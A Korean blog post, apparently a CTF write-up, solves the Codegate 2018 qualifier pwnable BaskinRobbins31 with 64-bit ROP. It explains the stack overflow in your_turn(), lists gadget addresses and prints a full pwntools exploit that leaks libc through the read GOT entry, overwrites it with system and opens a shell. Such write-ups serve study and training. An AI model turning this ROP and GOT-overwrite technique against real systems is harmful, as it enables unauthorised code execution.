-
[64비트 ROP] Codegate2018 Qual BaskinRobbins31 문제풀이(1일 1포너블 1일차 by Luke - 2019.4.18<목>)WeekHack/Pwnable 2019. 4. 19. 02:43반응형SMALL
안녕하세요. Luke입니다. 1일 1 pwnable 1일차입니다. 60일을 목표로 시작하는데 첫 걸음을 띄었다는 것에 대해 놀랍네요.
오늘 풀 문제는 Codegate2018 예선 문제였던 BaskinRobbins31를 풀어볼 예정입니다. 저번에 풀었던 Ropasaurusrex와는 비슷하고도 다르게 64비트 ROP를 사용하는 문제입니다.
바이너리를 실행시키면
위와 같이 1-3 사이의 숫자를 입력하라고 나오고, 알파벳을 이용하는 등 예상치 못한 경우의 경우 Don't break the rules...:(가 뜨면서 다시 입력하게 합니다. 또한, 정상적으로는 사용자가 이기지는 못하게 되어있는 것 같았습니다..(예전에 되나 안되나 노가다해봤습니다 ㅋㅋ)
먼저 checksec으로 메모리보호기법을 확인해보겠습니다.
NX가 걸려있고 Partial Relro.. 그리고 나머진 걸려있지 않네요. 누가봐도 전형적인 ROP문제.. ㅎㅎ
그럼 뭐 다른거 볼 거 없이 일단 IDA로 열어서 의사코드를 한번 보겠습니다.
main함수의 의사코드입니다. your_turn()함수에서 왠지 저의 입력을 받는 부분이 있었을 것 같았습니다. 그래서 your_turn()의 함수를 열어 의사코드를 확인해보겠습니다.
your_turn 함수의 의사코드입니다. 간단히 핵심 기능을 해석해 보자면
1. puts함수를 통해 How many numbers do you want to take ? (1-3) 를 출력해줍니다.
2. n에 400(0x190)크기 만큼의 입력을 받아 s 버퍼에 176(0xB0)크기만큼 저장하고 n이라는 변수에 저장합니다.
3. 입력받은 n을 write()로 출력합니다.
왠지 그럼 read()함수를 이용해 bof가 발생할 것 같고 ROP를 이용해 익스플로잇 하면 될 것 같습니다. 간단한 익스플로잇 순서는 다음과 같습니다.
1. read의 got주소를 leak한다.
2. binsh를 bss에 넣는다.
3. read함수에 system함수를 overwrite한다.
4, system함수(read함수)를 실행시켜 bss의 binsh를 실행시킨다.
그러기 위해서는 pr과 pppr 가젯을 구해줍니다.
pr=0x00400bc3
pppr=0x0040087a그럼 pwntools를 이용한 익스플로잇 코드를 짜보겠습니다.
from pwn import * context.log_level = 'debug' c=process('./BaskinRobins31') e=ELF('./BaskinRobins31') libc=e.libc c.recvuntil('How many numbers do you want to take ? (1-3)') pr=0x00400bc3 pppr=0x0040087a read_plt=e.plt['read'] read_got=e.got['read'] write_plt=e.plt['write'] write_got=e.got['write'] binsh='/bin/sh' bss=e.bss() lenbin=len(binsh) pay="A"*184 #Leak read_got pay+=p64(pppr) pay+=p64(1) pay+=p64(read_got) pay+=p64(8) pay+=p64(write_plt) #binsh in bss pay+=p64(pppr) pay+=p64(0) pay+=p64(bss) pay+=p64(lenbin) pay+=p64(read_plt) #over system->read_got pay+=p64(pppr) pay+=p64(0) pay+=p64(read_got) pay+=p64(8) pay+=p64(read_plt) #execute system() pay+=p64(pr) pay+=p64(bss) pay+=p64(read_plt) lenpay=str(len(pay)) log.success('lenpay: '+lenpay) c.sendline(pay) c.recvuntil("Don't break the rules...:( \n") leak=u64(c.recv(6)+"\x00\x00") log.success('leak: '+hex(leak)) base=leak-libc.symbols['read'] systemaddr=base+libc.symbols['system'] log.success('system: '+hex(systemaddr)) c.send(binsh) sleep(0.1) c.sendline(p64(systemaddr)) sleep(0.1) c.interactive()
이렇게 하면..
성공적으로 쉘이 다진 것을 확인할 수 있습니다. 그럼 내일 뵈요~~
내일은 이 Baskinrobbins31을 Full relro를 우회하면서도, 더 짧은 Payload를 가진 방법으로 문제를 다시 한번 풀어보도록 하겠습니다. 그럼 내일봐요~~
반응형LIST